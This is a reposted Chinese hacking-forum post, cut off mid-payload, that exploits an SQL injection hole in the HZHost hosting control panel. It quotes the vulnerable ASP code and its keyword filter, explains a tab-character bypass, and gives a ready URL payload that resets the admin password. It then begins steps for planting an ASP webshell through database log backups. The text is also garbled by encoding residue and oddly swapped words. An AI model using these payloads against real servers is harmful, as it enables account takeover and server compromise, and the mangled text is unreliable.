摘自：bbs.tian6.com 早前一段时间的东东了，相关文章见： /Article/Search.asp?Field=Titleamp;ClassID=amp;keyword=hzhost 前2天看XX兵写了那么多文章。。心里痒痒了。以是看了看代码 破绽出在 hzhost_master\control\svr_mng/svr_lst.aspelseif querytype=5 then qu1=trim(SafeRequest("qu1")) if qu1="" then call errorpage(-2,"对不起，请选择参数！") end if qstring=" and s_regstt="amp;qu1amp;" "query="select * from v_svrlst where (s_unme='"amp;session("usrname")amp;"' or u_fatstr like ',"amp;session("usrname")amp;",') "amp;qstringamp;qstring2amp;" order by "amp;orderstring意思是若是querytype=5 那么对于qu1 举行平安过滤。。然后把这个值赋予 qstring, 然则这里qstring=" and s_regstt="amp;qu1amp;"　qu1并没有做用''加起来．然后在查询的时刻又没有用‘’将qstring和qstring2包起来．以是导致了破绽的发生 只管有SAFEREQUEST的存在然则看过ＸＸ兵文章的人知道ＨＺＨＯＳＴ的saferequest有点问题．Function SafeRequestform(ParaName) Dim ParaValue ParaValue=request.form(ParaName) if IsNumeric(ParaValue) then SafeRequestform=ParaValue exit Function else ParaValuetemp=lcase(ParaValue) tempvalue="select |insert |delete from|'|count(|drop table|update |truncate |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |20from" temps=split(tempvalue,"|") for mycount=0 to ubound(temps) if Instr(ParaValuetemp,temps(mycount)) gt; 0 then call errorpage(-2,"非法请求！！！") response.end end if只管过滤了UPDATE等字符然则却没有过滤 * / / -- / ;　我们可以用ＴＡＢ　回车等等饶过过滤www.xxx.com/control/svr_mng/svr_lst.asp?querytype=5amp;ordernum=22amp;qu1=1;UPDATE09[memlst]20SET20u_pss=0xWHERE20u_nme=0xDE;select09*09from09v_ot2lst20where20s_regstt=1;select09*09from09v_ot2lst20where20s_regstt=1上面的语句是将admin密码ＵＰＤＡＴＥ到，然则这里要注意的是我们在UPDATE的时刻首先要自己先注册个用户。然后用你注册的用户点上岸后再举行UPDATE。我一开始就是卡在这里谢谢RACLE的指点 关于WEBSHELL我引用XX兵的备份差异。。我估量可以。这个是在hzhost/hzhost_master、天生个密码为a的1.asp第 一 步:create table [dbo].[shit_tmp] ([cmd] [image])--第 二 步declare @a sysname,@s nvarchar09(0)09select09@a=db_name(),@s=0xFC backup log @a to disk = @s with init,no_truncate--第 三 步insert09into09[shit_tmp](cmd) values(0x3CE)--第 四 步declare @a sysname,@s nvarchar09(